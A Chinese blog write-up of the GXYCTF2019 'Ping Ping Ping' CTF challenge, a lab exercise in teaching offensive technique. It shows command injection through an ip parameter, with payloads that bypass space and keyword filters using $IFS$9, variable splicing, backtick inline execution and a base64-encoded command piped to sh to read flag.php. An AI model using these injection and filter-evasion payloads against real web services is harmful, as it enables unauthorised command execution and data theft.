BUU WEB [GXYCTF2019]Ping Ping Ping

现学现卖,若有错误,请指正
打开题目,只有/?ip=
在这里插入图片描述
应该是要求以这种方式是传参,先传一个本地的试试:127.0.0.1
在这里插入图片描述
利用传参来执行命令:

/?ip=127.0.0.1;ls

先来看看目录:
在这里插入图片描述
发现有flag.php,那还说什么,直接cat flag.php看呗:
在这里插入图片描述
不能用空格,过滤空格的方法就那么几种:
绕过空格

%20(space)、%09(tab)、$IFS$9、 IFS、IFS

使用<或者<>来绕过空格 cat<a.txt

花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}

$IFS 空格绕过 cat$IFSa.txt

变量控制 X=$'cat\x09./flag.php

试一下,发现$IFS$9(这里的9可以改成其他数字好像也可以)可以用:

cat$IFS$9flag.php

在这里插入图片描述
不让用flag,没办法,那就先看看index.php吧:
在这里插入图片描述
这里面写了被过滤的东西,其中空格我们已经解决了,现在的问题是flag,想办法让我们的命令中出现flag却又不出现“flag”的字样,我们可以用变量覆盖flag:

/?ip=127.0.0.1;b=lag;cat$IFS$9f$b.php

在这里插入图片描述
在网页源代码中可找到flag.
另外,我们也可以想到,在执行ls是我们也得到了flag。PHP,那就可以用内联执行:

/?ip=127.0.0.1;cat$IFS$9`ls`

内联,就是将反引号内命令的输出作为输入执行
也是在源代码中找到flag。
再者,他虽然过滤了bash,但他没过滤sh呀,sh的大部分脚本都可以在bash下运行。

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

flag也是在源代码中。
有位大佬对这道题惊醒了一些总结,有兴趣的小伙伴可以去看看:
https://blog.youkuaiyun.com/qq_42812036/article/details/104297163
(若作者介意请联系删除!!!)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值